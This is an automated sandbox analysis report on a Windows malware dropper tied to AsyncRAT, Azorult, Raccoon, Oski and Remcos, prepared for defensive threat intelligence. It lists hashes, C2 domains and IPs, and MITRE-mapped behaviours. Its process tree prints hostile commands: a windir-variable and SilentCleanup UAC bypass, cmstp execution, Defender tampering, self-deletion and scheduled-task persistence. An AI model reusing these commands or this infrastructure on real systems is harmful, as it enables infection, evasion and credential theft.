asyncrat | d1621aa8dd1273a4b6e4f3e6b83188044af80c6ffe9aba2e7e191f159ce9b1eb

Analysis

max time kernel
150s
max time network
153s
platform
windows10_x64
resource
win10v20210410
submitted
26/06/2021, 08:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a8cbbdba951de49ff61ebf96f5f7b793.exe
Size 787KB
Sample210626-7mdd6n2zza
SHA256 d1621aa8dd1273a4b6e4f3e6b83188044af80c6ffe9aba2e7e191f159ce9b1eb
MD5 a8cbbdba951de49ff61ebf96f5f7b793
SHA1 7389456ef535facc9fbde433b4286c618df806e7
SHA512 95ffb8f278159bc26b86baef26c7f60680b84ae656386c252199b7307ef97971338336cd6d19ad3fd95fb3b893086248292dc2c60e319a1c03be0b2d93763bc1
MD5 SHA1 SHA512

Score

10^/10

asyncrat azorult oski raccoon remcos 67a1a4d96e0af06ab629d8d5c048c516a37dbc35 vvvvvvvvvv discovery evasion infostealer persistence rat spyware stealer trojan

Malware Config

Extracted

Family

oski

veronikaa.ac.ug

Extracted

Family

azorult

http://195.245.112.115/index.php

Extracted

Family

raccoon

Botnet

67a1a4d96e0af06ab629d8d5c048c516a37dbc35

Attributes

url4cnc
https://tttttt.me/brikitiki

rc4.plain

Extracted

Family

remcos

Version

3.1.4 Light

Botnet

vvvvvvvvvv

nothinglike.ac.ug:6969
brudfascaqezd.ac.ug:6969

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%AppData%
mouse_option
false
mutex
daxvxdsaxzcas-LAPFBZ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 5 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/2320-283-0x000000000040616E-mapping.dmp	disable_win_def
behavioral2/memory/1072-288-0x0000000000403BEE-mapping.dmp	disable_win_def
behavioral2/memory/2320-300-0x0000000004B60000-0x000000000505E000-memory.dmp	disable_win_def
behavioral2/files/0x000300000001ab7b-306.dat	disable_win_def
behavioral2/files/0x000300000001ab7b-305.dat	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2232-294-0x000000000040C71E-mapping.dmp	asyncrat

Blocklisted process makes network request 28 IoCs

flow	pid	Process
47	1100	mshta.exe
50	1100	mshta.exe
53	1100	mshta.exe
54	1100	mshta.exe
56	1100	mshta.exe
60	1100	mshta.exe
61	1100	mshta.exe
62	1100	mshta.exe
65	1100	mshta.exe
67	1100	mshta.exe
70	1100	mshta.exe
71	1100	mshta.exe
73	1100	mshta.exe
76	1100	mshta.exe
77	1100	mshta.exe
79	1100	mshta.exe
81	1100	mshta.exe
82	1100	mshta.exe
85	1100	mshta.exe
86	1100	mshta.exe
88	1100	mshta.exe
90	1100	mshta.exe
93	1100	mshta.exe
95	1100	mshta.exe
97	1100	mshta.exe
98	1100	mshta.exe
100	1100	mshta.exe
102	1100	mshta.exe

Downloads MZ/PE file

Executes dropped EXE 28 IoCs

pid	Process
2724	CcmfdgsaYsd.exe
2764	FDdgrhfgdfx.exe
3728	FDfsdgdvca.exe
1260	CHmfdgaYsHsd.exe
2456	FDdgrhfgdfx.exe
3648	FDfsdgdvca.exe
1268	CcmfdgsaYsd.exe
2468	axcxcvhgfc.exe
2404	CHmfdgaYsHsd.exe
216	CHmfdgaYsHsd.exe
2540	CHmfdgaYsHsd.exe
2316	CHmfdgaYsHsd.exe
208	3xTRtPbv1i.exe
1016	zkT5qLT2rO.exe
4052	qW1hIKRbes.exe
2688	jLpol39b60.exe
3840	OcD7VLxJW2.exe
2332	OcD7VLxJW2.exe
4076	oxcxcvhgfc.exe
1120	axcxcvhgfc.exe
2320	qW1hIKRbes.exe
832	jLpol39b60.exe
1072	jLpol39b60.exe
520	3xTRtPbv1i.exe
2232	3xTRtPbv1i.exe
3412	j35snsgy.exe
3092	oxcxcvhgfc.exe
3076	sqlcmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1268	CcmfdgsaYsd.exe
1268	CcmfdgsaYsd.exe
1268	CcmfdgsaYsd.exe
1268	CcmfdgsaYsd.exe
1268	CcmfdgsaYsd.exe
1268	CcmfdgsaYsd.exe
2456	FDdgrhfgdfx.exe
2456	FDdgrhfgdfx.exe
2456	FDdgrhfgdfx.exe
3092	oxcxcvhgfc.exe
3092	oxcxcvhgfc.exe
3092	oxcxcvhgfc.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	jLpol39b60.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	jLpol39b60.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Oolzvhr = "C:\\Users\\Public\\Libraries\\rhvzloO.url"	zkT5qLT2rO.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\LocalLow\iK0eK1lK3k\desktop.ini	CcmfdgsaYsd.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 1908 set thread context of 2400	1908	a8cbbdba951de49ff61ebf96f5f7b793.exe	74
PID 2764 set thread context of 2456	2764	FDdgrhfgdfx.exe	84
PID 3728 set thread context of 3648	3728	FDfsdgdvca.exe	85
PID 2724 set thread context of 1268	2724	CcmfdgsaYsd.exe	86
PID 1260 set thread context of 2316	1260	CHmfdgaYsHsd.exe	90
PID 3840 set thread context of 2332	3840	OcD7VLxJW2.exe	105
PID 2468 set thread context of 1120	2468	axcxcvhgfc.exe	117
PID 4052 set thread context of 2320	4052	qW1hIKRbes.exe	118
PID 2688 set thread context of 1072	2688	jLpol39b60.exe	123
PID 208 set thread context of 2232	208	3xTRtPbv1i.exe	127
PID 4076 set thread context of 3092	4076	oxcxcvhgfc.exe	161

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FDdgrhfgdfx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	oxcxcvhgfc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3216	schtasks.exe
3936	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3932	timeout.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
2736	taskkill.exe
2136	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
764	reg.exe
1884	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1260	CHmfdgaYsHsd.exe
1260	CHmfdgaYsHsd.exe
1260	CHmfdgaYsHsd.exe
1260	CHmfdgaYsHsd.exe
1260	CHmfdgaYsHsd.exe
1260	CHmfdgaYsHsd.exe
208	3xTRtPbv1i.exe
208	3xTRtPbv1i.exe
208	3xTRtPbv1i.exe
2688	jLpol39b60.exe
2688	jLpol39b60.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1908	a8cbbdba951de49ff61ebf96f5f7b793.exe
2764	FDdgrhfgdfx.exe
3728	FDfsdgdvca.exe
2724	CcmfdgsaYsd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1260	CHmfdgaYsHsd.exe
Token: SeDebugPrivilege	208	3xTRtPbv1i.exe
Token: SeDebugPrivilege	2736	taskkill.exe
Token: SeDebugPrivilege	2468	axcxcvhgfc.exe
Token: SeDebugPrivilege	2688	jLpol39b60.exe
Token: SeDebugPrivilege	2320	qW1hIKRbes.exe
Token: SeDebugPrivilege	524	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	2136	taskkill.exe
Token: SeIncreaseQuotaPrivilege	636	powershell.exe
Token: SeSecurityPrivilege	636	powershell.exe
Token: SeTakeOwnershipPrivilege	636	powershell.exe
Token: SeLoadDriverPrivilege	636	powershell.exe
Token: SeSystemProfilePrivilege	636	powershell.exe
Token: SeSystemtimePrivilege	636	powershell.exe
Token: SeProfSingleProcessPrivilege	636	powershell.exe
Token: SeIncBasePriorityPrivilege	636	powershell.exe
Token: SeCreatePagefilePrivilege	636	powershell.exe
Token: SeBackupPrivilege	636	powershell.exe
Token: SeRestorePrivilege	636	powershell.exe
Token: SeShutdownPrivilege	636	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeSystemEnvironmentPrivilege	636	powershell.exe
Token: SeRemoteShutdownPrivilege	636	powershell.exe
Token: SeUndockPrivilege	636	powershell.exe
Token: SeManageVolumePrivilege	636	powershell.exe
Token: 33	636	powershell.exe
Token: 34	636	powershell.exe
Token: 35	636	powershell.exe
Token: 36	636	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	3684	powershell.exe
Token: SeSecurityPrivilege	3684	powershell.exe
Token: SeTakeOwnershipPrivilege	3684	powershell.exe
Token: SeLoadDriverPrivilege	3684	powershell.exe
Token: SeSystemProfilePrivilege	3684	powershell.exe
Token: SeSystemtimePrivilege	3684	powershell.exe
Token: SeProfSingleProcessPrivilege	3684	powershell.exe
Token: SeIncBasePriorityPrivilege	3684	powershell.exe
Token: SeCreatePagefilePrivilege	3684	powershell.exe
Token: SeBackupPrivilege	3684	powershell.exe
Token: SeRestorePrivilege	3684	powershell.exe
Token: SeShutdownPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeSystemEnvironmentPrivilege	3684	powershell.exe
Token: SeRemoteShutdownPrivilege	3684	powershell.exe
Token: SeUndockPrivilege	3684	powershell.exe
Token: SeManageVolumePrivilege	3684	powershell.exe
Token: 33	3684	powershell.exe
Token: 34	3684	powershell.exe
Token: 35	3684	powershell.exe
Token: 36	3684	powershell.exe
Token: SeIncreaseQuotaPrivilege	2212	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1908	a8cbbdba951de49ff61ebf96f5f7b793.exe
2400	a8cbbdba951de49ff61ebf96f5f7b793.exe
2724	CcmfdgsaYsd.exe
2764	FDdgrhfgdfx.exe
3728	FDfsdgdvca.exe
2320	qW1hIKRbes.exe
2320	qW1hIKRbes.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1908 wrote to memory of 2400	1908	a8cbbdba951de49ff61ebf96f5f7b793.exe	74
PID 1908 wrote to memory of 2400	1908	a8cbbdba951de49ff61ebf96f5f7b793.exe	74
PID 1908 wrote to memory of 2400	1908	a8cbbdba951de49ff61ebf96f5f7b793.exe	74
PID 1908 wrote to memory of 2400	1908	a8cbbdba951de49ff61ebf96f5f7b793.exe	74
PID 2400 wrote to memory of 2724	2400	a8cbbdba951de49ff61ebf96f5f7b793.exe	79
PID 2400 wrote to memory of 2724	2400	a8cbbdba951de49ff61ebf96f5f7b793.exe	79
PID 2400 wrote to memory of 2724	2400	a8cbbdba951de49ff61ebf96f5f7b793.exe	79
PID 2724 wrote to memory of 2764	2724	CcmfdgsaYsd.exe	80
PID 2724 wrote to memory of 2764	2724	CcmfdgsaYsd.exe	80
PID 2724 wrote to memory of 2764	2724	CcmfdgsaYsd.exe	80
PID 2724 wrote to memory of 3728	2724	CcmfdgsaYsd.exe	81
PID 2724 wrote to memory of 3728	2724	CcmfdgsaYsd.exe	81
PID 2724 wrote to memory of 3728	2724	CcmfdgsaYsd.exe	81
PID 2400 wrote to memory of 1260	2400	a8cbbdba951de49ff61ebf96f5f7b793.exe	82
PID 2400 wrote to memory of 1260	2400	a8cbbdba951de49ff61ebf96f5f7b793.exe	82
PID 2400 wrote to memory of 1260	2400	a8cbbdba951de49ff61ebf96f5f7b793.exe	82
PID 2764 wrote to memory of 2456	2764	FDdgrhfgdfx.exe	84
PID 2764 wrote to memory of 2456	2764	FDdgrhfgdfx.exe	84
PID 2764 wrote to memory of 2456	2764	FDdgrhfgdfx.exe	84
PID 2764 wrote to memory of 2456	2764	FDdgrhfgdfx.exe	84
PID 3728 wrote to memory of 3648	3728	FDfsdgdvca.exe	85
PID 3728 wrote to memory of 3648	3728	FDfsdgdvca.exe	85
PID 3728 wrote to memory of 3648	3728	FDfsdgdvca.exe	85
PID 3728 wrote to memory of 3648	3728	FDfsdgdvca.exe	85
PID 2724 wrote to memory of 1268	2724	CcmfdgsaYsd.exe	86
PID 2724 wrote to memory of 1268	2724	CcmfdgsaYsd.exe	86
PID 2724 wrote to memory of 1268	2724	CcmfdgsaYsd.exe	86
PID 2724 wrote to memory of 1268	2724	CcmfdgsaYsd.exe	86
PID 1260 wrote to memory of 2468	1260	CHmfdgaYsHsd.exe	87
PID 1260 wrote to memory of 2468	1260	CHmfdgaYsHsd.exe	87
PID 1260 wrote to memory of 2468	1260	CHmfdgaYsHsd.exe	87
PID 1260 wrote to memory of 2404	1260	CHmfdgaYsHsd.exe	88
PID 1260 wrote to memory of 2404	1260	CHmfdgaYsHsd.exe	88
PID 1260 wrote to memory of 2404	1260	CHmfdgaYsHsd.exe	88
PID 1260 wrote to memory of 216	1260	CHmfdgaYsHsd.exe	89
PID 1260 wrote to memory of 216	1260	CHmfdgaYsHsd.exe	89
PID 1260 wrote to memory of 216	1260	CHmfdgaYsHsd.exe	89
PID 1260 wrote to memory of 2540	1260	CHmfdgaYsHsd.exe	91
PID 1260 wrote to memory of 2540	1260	CHmfdgaYsHsd.exe	91
PID 1260 wrote to memory of 2540	1260	CHmfdgaYsHsd.exe	91
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1260 wrote to memory of 2316	1260	CHmfdgaYsHsd.exe	90
PID 1268 wrote to memory of 208	1268	CcmfdgsaYsd.exe	92
PID 1268 wrote to memory of 208	1268	CcmfdgsaYsd.exe	92
PID 1268 wrote to memory of 208	1268	CcmfdgsaYsd.exe	92
PID 1268 wrote to memory of 1016	1268	CcmfdgsaYsd.exe	93
PID 1268 wrote to memory of 1016	1268	CcmfdgsaYsd.exe	93
PID 1268 wrote to memory of 1016	1268	CcmfdgsaYsd.exe	93
PID 1268 wrote to memory of 4052	1268	CcmfdgsaYsd.exe	94
PID 1268 wrote to memory of 4052	1268	CcmfdgsaYsd.exe	94
PID 1268 wrote to memory of 4052	1268	CcmfdgsaYsd.exe	94
PID 1268 wrote to memory of 2688	1268	CcmfdgsaYsd.exe	95
PID 1268 wrote to memory of 2688	1268	CcmfdgsaYsd.exe	95
PID 1268 wrote to memory of 2688	1268	CcmfdgsaYsd.exe	95
PID 1268 wrote to memory of 3840	1268	CcmfdgsaYsd.exe	96
PID 1268 wrote to memory of 3840	1268	CcmfdgsaYsd.exe	96
PID 1268 wrote to memory of 3840	1268	CcmfdgsaYsd.exe	96

C:\Users\Admin\AppData\Local\Temp\a8cbbdba951de49ff61ebf96f5f7b793.exe
"C:\Users\Admin\AppData\Local\Temp\a8cbbdba951de49ff61ebf96f5f7b793.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Users\Admin\AppData\Local\Temp\a8cbbdba951de49ff61ebf96f5f7b793.exe
  "C:\Users\Admin\AppData\Local\Temp\a8cbbdba951de49ff61ebf96f5f7b793.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Users\Admin\AppData\Local\Temp\CcmfdgsaYsd.exe
    "C:\Users\Admin\AppData\Local\Temp\CcmfdgsaYsd.exe" 0
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Users\Admin\AppData\Roaming\FDdgrhfgdfx.exe
      "C:\Users\Admin\AppData\Roaming\FDdgrhfgdfx.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2764
    - - C:\Users\Admin\AppData\Roaming\FDdgrhfgdfx.exe
        
        "C:\Users\Admin\AppData\Roaming\FDdgrhfgdfx.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2456
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /pid 2456 & erase C:\Users\Admin\AppData\Roaming\FDdgrhfgdfx.exe & RD /S /Q C:\\ProgramData\\350478802920155\\* & exit
        6⤵
        
        PID:2316
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /pid 2456
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2736
  - - C:\Users\Admin\AppData\Roaming\FDfsdgdvca.exe
      "C:\Users\Admin\AppData\Roaming\FDfsdgdvca.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3728
    - - C:\Users\Admin\AppData\Roaming\FDfsdgdvca.exe
        
        "C:\Users\Admin\AppData\Roaming\FDfsdgdvca.exe"
        5⤵
        Executes dropped EXE
        
        PID:3648
  - - C:\Users\Admin\AppData\Local\Temp\CcmfdgsaYsd.exe
      "C:\Users\Admin\AppData\Local\Temp\CcmfdgsaYsd.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops desktop.ini file(s)
      Suspicious use of WriteProcessMemory
      PID:1268
    - - C:\Users\Admin\AppData\Local\Temp\3xTRtPbv1i.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3xTRtPbv1i.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:208
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\aLcIOi" /XML "C:\Users\Admin\AppData\Local\Temp\tmp64A6.tmp"
        6⤵
        Creates scheduled task(s)
        
        PID:3936
      - C:\Users\Admin\AppData\Local\Temp\3xTRtPbv1i.exe
        
        "{path}"
        6⤵
        Executes dropped EXE
        
        PID:520
      - C:\Users\Admin\AppData\Local\Temp\3xTRtPbv1i.exe
        
        "{path}"
        6⤵
        Executes dropped EXE
        
        PID:2232
    - - C:\Users\Admin\AppData\Local\Temp\zkT5qLT2rO.exe
        
        "C:\Users\Admin\AppData\Local\Temp\zkT5qLT2rO.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1016
      - C:\Windows\SysWOW64\mshta.exe
        
        C:\Windows\System32\mshta.exe
        6⤵
        Blocklisted process makes network request
        
        PID:1100
    - - C:\Users\Admin\AppData\Local\Temp\qW1hIKRbes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\qW1hIKRbes.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4052
      - C:\Users\Admin\AppData\Local\Temp\qW1hIKRbes.exe
        
        "{path}"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2320
        
        \??\c:\windows\SysWOW64\cmstp.exe
        
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\shxnoben.inf
        7⤵
        
        PID:2528
    - - C:\Users\Admin\AppData\Local\Temp\jLpol39b60.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jLpol39b60.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2688
      - C:\Users\Admin\AppData\Local\Temp\jLpol39b60.exe
        
        "{path}"
        6⤵
        Executes dropped EXE
        
        PID:832
      - C:\Users\Admin\AppData\Local\Temp\jLpol39b60.exe
        
        "{path}"
        6⤵
        Executes dropped EXE
        Windows security modification
        
        PID:1072
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:524
    - - C:\Users\Admin\AppData\Local\Temp\OcD7VLxJW2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OcD7VLxJW2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3840
      - C:\Users\Admin\AppData\Local\Temp\OcD7VLxJW2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OcD7VLxJW2.exe"
        6⤵
        Executes dropped EXE
        
        PID:2332
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3216
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "
        6⤵
        
        PID:2884
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
        7⤵
        
        PID:3200
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        8⤵
        Modifies registry key
        
        PID:764
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
        8⤵
        Modifies registry key
        
        PID:1884
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        8⤵
        
        PID:1688
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\CcmfdgsaYsd.exe"
        5⤵
        
        PID:2432
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        6⤵
        Delays execution with timeout.exe
        
        PID:3932
- - C:\Users\Admin\AppData\Local\Temp\CHmfdgaYsHsd.exe
    "C:\Users\Admin\AppData\Local\Temp\CHmfdgaYsHsd.exe" 0
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Users\Admin\AppData\Local\Temp\axcxcvhgfc.exe
      "C:\Users\Admin\AppData\Local\Temp\axcxcvhgfc.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      PID:2468
    - - C:\Users\Admin\AppData\Local\Temp\axcxcvhgfc.exe
        
        "{path}"
        5⤵
        Executes dropped EXE
        
        PID:1120
    - - C:\Users\Admin\AppData\Local\Temp\oxcxcvhgfc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\oxcxcvhgfc.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4076
      - C:\Users\Admin\AppData\Local\Temp\oxcxcvhgfc.exe
        
        "{path}"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3092
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /pid 3092 & erase C:\Users\Admin\AppData\Local\Temp\oxcxcvhgfc.exe & RD /S /Q C:\\ProgramData\\030740875160851\\* & exit
        7⤵
        
        PID:4156
  - - C:\Users\Admin\AppData\Local\Temp\CHmfdgaYsHsd.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:2404
  - - C:\Users\Admin\AppData\Local\Temp\CHmfdgaYsHsd.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:216
  - - C:\Users\Admin\AppData\Local\Temp\CHmfdgaYsHsd.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:2316
  - - C:\Users\Admin\AppData\Local\Temp\CHmfdgaYsHsd.exe
      "{path}"
      4⤵
      Executes dropped EXE
      PID:2540

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:1688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start C:\Windows\temp\j35snsgy.exe
  2⤵
  PID:1708
- - C:\Windows\temp\j35snsgy.exe
    C:\Windows\temp\j35snsgy.exe
    3⤵
    - Executes dropped EXE
    PID:3412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:636
